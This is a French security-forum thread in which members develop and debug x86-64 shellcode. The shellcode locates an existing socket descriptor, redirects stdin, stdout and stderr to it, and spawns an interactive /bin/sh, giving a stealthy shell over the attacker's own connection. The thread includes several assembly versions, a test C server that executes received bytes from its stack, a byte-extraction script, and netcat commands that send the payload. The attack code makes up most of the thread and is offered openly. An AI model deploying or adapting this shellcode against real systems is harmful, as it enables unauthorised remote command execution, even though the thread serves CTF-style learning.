• STATISTIQUES
  • Il y a eu un total de 3 membres et 4657 visiteurs sur le site dans les dernières 24h pour un total de 4 660 personnes!


    1 membre s'est inscrit dans les dernières 24h!


    Membres: 2 607
    Discussions: 3 580
    Messages: 32 820
    Tutoriels: 78
    Téléchargements: 38
    Sites dans l'annuaire: 58


  • ANNUAIRE
  • [FR] Hackfest
    Le Hackfest est un évènement de sécurité et de piratage informatique au Québec reg...
    Hacking
    [EN] Big-Daddy
    Big-Daddy est site internet communautaire avec un effectif diversifié, y compris des artistes, des programmeur...
    Hacking
    [FR] InfoMirmo
    Apprentissage de l'informatique par l'intermédiaire de challenges de sécurité. Venez app...
    Hacking
    [FR] µContest
    µContest est un site de challenges de programmation, c'est à dire qu'il propose des épreu...
    Hacking
    [EN] Rankk
    Site de challenge construit sur le principe d'une pyramide à 9 level. Level 1: 60,Level 2: 72,Level 3: 68,Lev...
    Challenges
    [EN] social-engineer
    Site dédié au Social Engineering en général.
    Hacking
    [EN] Packet Storm
    Packet Storm est un site qui combine nouvelles de la sécurité informatique, téléchargemen...
    Vulnérabilités

  • DONATION
  • Si vous avez trouvé ce site internet utile, nous vous invitons à nous faire un don du montant de votre choix via Paypal. Ce don servira à financer notre hébergement.

    MERCI!




Note de ce sujet :
  • Moyenne : 5 (2 vote(s))
  • 1
  • 2
  • 3
  • 4
  • 5
[shellcode] Reverse shell over reused socket
07-03-2014, 17h41 (Modification du message : 10-03-2014, 11h12 par ark.)
Message : #1
ark Hors ligne
Psyckomodo!
*****



Messages : 1,033
Sujets : 48
Points: 317
Inscription : Sep 2011
[shellcode] Reverse shell over reused socket
Yop à tous,

Bon, alors je fais ce post pour deux raisons. La première, c'est que j'ai du code potentiellement intéressant à vous montrer, la deuxième c'est parce qu'il ne marche pas et que j'ai pas franchement idée de pourquoi... x)

Donc voila, je m'explique. Un jour en CTF, il a fallut que je réutilise une socket déjà existante pour me faire spawn un reverse shell. Jusque la tout va bien, il n'y avait pas besoin d'ecrire un shellcode pour ce genre de cas puisqu'on avait déjà accès à un pseudo shell. Bref, le fait est que du coup je me suis dit que ça pourrait être pas mal d'avoir un shellcode qui retrouve la socket avec laquelle on est connectés afin de bind un reverse shell dessus, c'est plutot discret puisque la socket est ouverte de manière légitime.

Pour commencer, imaginons un serveur basique en C, qui va nous servir pour les tests. Serveur simple qui va récupérer le buffer et va l'executer.

Voici son code:

Code C :


#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netdb.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netinet/in.h>

int main(int argc, char *argv[]) {

  char buf[2048];
  int sock, clisock;
  struct sockaddr_in addr;
  socklen_t addrlen;
  unsigned short port = 1024;

  if (argc == 2)
    port = atoi(argv[1]);

  /* Let's initialize our socket */
  addrlen = (socklen_t)sizeof(struct sockaddr_in);
  sock = socket(AF_INET, SOCK_STREAM, 0);
  if (sock < 0) {
    perror("socket");
    return 1;
  }
  addr.sin_addr.s_addr = INADDR_ANY;
  addr.sin_family = AF_INET;
  addr.sin_port = htons(port);
  if (bind(sock, (struct sockaddr *)&addr, sizeof(addr)) == -1) {
    perror("bind");
    return 1;
  }
  if (listen(sock, 5) == -1) {
    perror("listen");
    return 1;
  }

  clisock = accept(sock, (struct sockaddr *)&addr, &addrlen);
  read(clisock, buf, 2048);

  ((void (*)(void))buf)(); /* On exec le buffer */

  return 0;
}
 


Après la compilation, pensez à passer un coup d'execstack sur le binaire. En effet, nous récupérons l'entrée utilisateur dans un buffer situé sur la stack, nous allons donc éxecuter du code sur la stack, il faut donc la rendre executable.

Okay, maintenant qu'on a notre serveur, voici le code du shellcode : (j'éspère qu'il est suffisamment commenté)

Code ASM :

BITS 64
section .text

        global _start

_start:
        call start

        ; This is a trick to have our string in the .text section
        ; We need it because we wont have our .data sections load when executing our shellcode

        db "/bin/sh", 0, 0
        db "-i", 0
        align 4

start:
        mov rdi, 2              ; let's start with fd 3, because 0 - 2 are usualy used for stdio

        xor rax, rax
        inc rax                 ; set rax to a non-zero value (we need that for the condition at check_fd_loop_end)

        jmp check_fd_loop_end

check_fd_loop_start:
        inc rdi
        mov r9, rdi

        mov rax, 72             ; call fcntl
        mov rsi, 1              ; use flag F_GETFD // This does detect if the fd is valid, i need to find something to be sure it's our socket
        syscall

        mov rdi, r9

check_fd_loop_end:
        cmp rax, 0              ; if fcntl() returned 0, we get a valid fd
        jne check_fd_loop_start

;;; Let's dup2() to bind filedescriptors to the socket

        mov rsi, 3
dup_loop:
        mov rax, 33
        dec rsi
        syscall
        test rsi, rsi
        jnz dup_loop

;;; We can now exec our shell
shell:
        mov rdi, [rsp]            ; pointer to the first string "/bin/sh", 0
        lea rax, [rdi + 9]
        mov [rsp + 8], rax
        lea rsi, [rsp]            ; pointer to begining of the tab
        mov qword [rsp + 0x10], 0
        mov rdx, 0
        mov rax, 59
        syscall
 


Voila, voila. Smile

Bon, pour exec le tout, j'ai trouvé un tool (que je n'ai pas sur le pc depuis lequel je post, je vous le filerai plus tard) qui get le shellcode depuis un objdump du fichier compilé, et du coup je fais juste un :

Code BASH :

echo -e `getsc shellcode` | nc localhost 1024
 


EDIT: Voilà le code de du script getsc
Code BASH :

#!/bin/sh
for i in $(objdump -d $1 -M intel |grep "^ " |cut -f2); do echo -n '\x'$i; done;echo
 


Bien entendu ce, après avoir lancé le serveur sur le port 1024.

Le problème de ce code, c'est que mon shell s'execute bien, mais je ne le récupère pas à la fin... Peut etre que le fait de bind les fds standard 0, 1 et 2 sur une socket n'est pas valide et du coup ne fonctionne pas, je ne sais pas trop... En tout cas si je vire les dup2() ca spawn bien un shell, mais coté serveur du coup, pas très utile xD Donc si vous avez une idée d'où ça peut venir, je suis preneur ! Smile
+1 (3) -1 (0) Répondre
07-03-2014, 18h11
Message : #2
gruik Hors ligne
gouteur de savon
*



Messages : 757
Sujets : 44
Points: 482
Inscription : Oct 2012
RE: [shellcode] Reverse shell over reused socket
comme ça au pif, si la socket est bloquante le F_GETFD bloque aussi non ?
sur ce lien on trouve une méthode similaire mais à base de F_GETFL
+1 (0) -1 (0) Répondre
10-03-2014, 15h20 (Modification du message : 10-03-2014, 15h20 par ark.)
Message : #3
ark Hors ligne
Psyckomodo!
*****



Messages : 1,033
Sujets : 48
Points: 317
Inscription : Sep 2011
RE: [shellcode] Reverse shell over reused socket
Je viens de tester le coup du F_GETFL et il s'avère que le programme boucle inf sans trouver la socket ; j'ai pas non plus fait comme ce que fait le mec dans son shellecode. Mais bon, trouver le FD ça marche, mon soucis c'est vraiment la partie binding des i/o sur la socket. Si je vire ma boucle pour faire les dup2(), bah le shell spawn bien coté serveur.

Ah oui, et j'ai edit mon premier message pour mettre le code du "getsc" ;)

EDIT :

Shellcode modifié, le problème venait du fait que les dup2 étaient fait sur la socket serveur, donc forcement ca ne marchait pas... Merci à Gruik pour m'avoir éclairé :p

Code ASM :

BITS 64
section .text

        global _start

_start:
        ;; int 0x3
        call start
        db "/bin/sh", 0, 0
        db "-i", 0
        align 4

start:
        xor rdi, rdi            ; We set the fist fd test to 0 because we will underflow to start from 255
        xor rax, rax
        inc rax                 ; set rax to a non-zero value (we need that for the condition at check_fd_loop_end)

        jmp check_fd_loop_end

check_fd_loop_start:
        dec dil                        ; This is our fd
        mov r9b, dil

        mov rax, 72             ; call fcntl
        mov rsi, 1              ; use flag F_GETFD // This does detect if the fd is valid, i need to find something to be sure it's our socket
        syscall

        mov dil, r9b

check_fd_loop_end:
        test rax, rax           ; if fcntl() returned 0, we get a valid fd
        jne check_fd_loop_start

;;; Let's dup2() to bind filedescriptors to the socket

        mov rsi, 3
dup_loop:
        mov rax, 33
        dec rsi
        syscall
        test rsi, rsi
        jnz dup_loop

;;; We can now exec our shell
shell:
        mov rdi, [rsp]            ; pointer to the first string "/bin/sh", 0
        lea rax, [rdi + 9]
        mov [rsp + 8], rax
        lea rsi, [rsp]            ; pointer to begining of the tab
        mov qword [rsp + 0x10], 0
        mov rdx, 0
        mov rax, 59
        syscall
 


Bon, c'est encore expérimental puisqu'on est pas encore sur que le FD trouvé est le bon... Je vais faire des recherches pour pouvoir trouver le bon et je vous tiens au courant. :)

Pendant que j'y suis, pour pouvoir executer des commandes après, il va falloir envoyer l'input de notre shell vers notre nc ; on utilisera donc la commande suivante :

Code BASH :

(echo -ne `getsc scode` ; cat) | nc 0 1024
 
+1 (1) -1 (0) Répondre
10-03-2014, 16h47
Message : #4
gruik Hors ligne
gouteur de savon
*



Messages : 757
Sujets : 44
Points: 482
Inscription : Oct 2012
RE: [shellcode] Reverse shell over reused socket
(10-03-2014, 15h20)Ark a écrit : Bon, c'est encore expérimental puisqu'on est pas encore sur que le FD trouvé est le bon...

comme dit en pv une technique à mon avis assez fiable consiste à partir du principe que suite à l'exploitation le processus/thread est voué à mourir de toutes façons

du coup l'idée est de faire un read() de 4 octets sur tous les descripteurs prêts à être lus, en partant de 255 et decroissant, jusqu'à tomber sur le motif qu'on aura choisi "TOTO" ou 0xdeadbeef etc. ainsi on est quasi-certain de retrouver la bonne socket

c'est la technique qui était (est ?) utilisée dans le stager_sock_find de metasploit
+1 (1) -1 (0) Répondre
10-03-2014, 16h57 (Modification du message : 11-03-2014, 12h39 par ark.)
Message : #5
ark Hors ligne
Psyckomodo!
*****



Messages : 1,033
Sujets : 48
Points: 317
Inscription : Sep 2011
RE: [shellcode] Reverse shell over reused socket
Yep, merci =)

Je vais commencer par implémenter ca, puis je passerai sur de l'optimisation de taille. Et eventuellement du retirage des octets en 0x00.
Au passage, si quelqu'un se sent d'en faire une version 32bits, ca peut etre koule =)

Et sinon, je pensais à également faire un truc plus discret encore, c'est à dire qui rendrait la main qu process une fois qu'on en a fini avec notre shell. Je pensais partir sur un fork avant de faire la recherche de la socket, et puis wait() et return dans le père, ca devrait etre pas trop mal.

Bref, j'vous tiens au courant quoi :)

EDIT :

Bon, alors, j'ai mis en place la technique proposé par Gruik, ça marche pas encore à tous les coups, mais je vois pas encore pourquoi :p
Donc, voici le code :

Code ASM :

BITS 64
section .text

        global _start

_start:
        call start
        db "/bin/sh", 0, 0
        db "-i", 0, 0, 0

start:
        xor rdi, rdi                        ; rdi will contain our fd (but we will use it's sub-register : dil)
        xor rax, rax                      ; Wait, I think I don't need this anymore
        inc rax

        sub rsp, 8                        ; let's make us some space on the stack
        mov dword [rsp], 0            ; and set it to 0

; There we start initializing our syscall recvfrom()
; Those registers won't change when we loop
        mov rsi, rsp
        mov rdx, 4
        xor r8, r8
        xor r9, r9     

        jmp check_fd_loop_end
check_fd_loop_start:

        dec dil                       ; we try the next fd
        mov rcx, 64             ; MSG_DONTWAIT for a non blocking recvfrom
        mov rax, 45                ; syscall recvfrom()
        syscall                 ; recvfrom(fd, stack_pointer, 4, flag = MSG_DONTWAIT, NULL, 0));
       
check_fd_loop_end:
        cmp dword [rsp], 0x42424242         ; Comparision with the choosen pattern
        jne check_fd_loop_start

        add rsp, 8                                     ; We restore the stack because we'll need to pop the right addresses next
; Start to dup2()
        mov rsi, 3
dup_loop:
        mov rax, 33
        dec rsi
        syscall
        test rsi, rsi
        jnz dup_loop

; let's get the shell!
        mov rdi, [rsp]
        lea rax, [rdi + 9]
        mov [rsp + 8], rax
        lea rsi, [rsp]
        mov qword [rsp + 0x10], 0
        mov rdx, 0
        mov rax, 59
        syscall
 


J'utilise un appel a recvrom() pour read sur la socket ; j'ai reservé de l'espace sur la stack pour stocker le dword lu. Il est ensuite comparé (0x42424242 == BBBB) et si la comparaison match, on peut lancer le shell sur notre socket.

Pour le lancer, j'ai un peu modifié ma ligne, puisqu'il faut lui envoyer le pattern :
Code BASH :

(echo -ne `getsc scode` ; echo -n BBBB ; cat) | nc 0 1024
 


Voilà! Bon, donc ça, ça drop un shell de temps en temps, il y a des fois ou il part en boucle inf, sans arriver à lire le pattern sur la socket, donc la comparaison reste toujours fausse. C'est assez bizarre, peut etre qu'il n'arrive pas à lire parce qu'il passe trop vite, et le message est pas encore envoyé ; du coup il ne le lit pas. Mais je me dis que dans ce cas il devrait tout de même le lire au deuxieme passage ... Je ne sais pas trop encore, je continue mes recherches ! :p
+1 (1) -1 (0) Répondre


Sujets apparemment similaires…
Sujet Auteur Réponses Affichages Dernier message
  [C] Socket + envoie de commande notfound 27 1,052 26-04-2013, 20h41
Dernier message: Kiwazaru
  [C] Socket Client-Serveur -> Write() + Read() sakiir 7 345 18-03-2013, 07h19
Dernier message: sakiir
  NEED HELP / SOCKET;FILTRES XDR; RPC notfound 4 290 21-01-2013, 02h18
Dernier message: notfound

Atteindre :


Utilisateur(s) parcourant ce sujet : 1 visiteur(s)
N-PN
Accueil | Challenges | Tutoriels | Téléchargements | Forum | Retourner en haut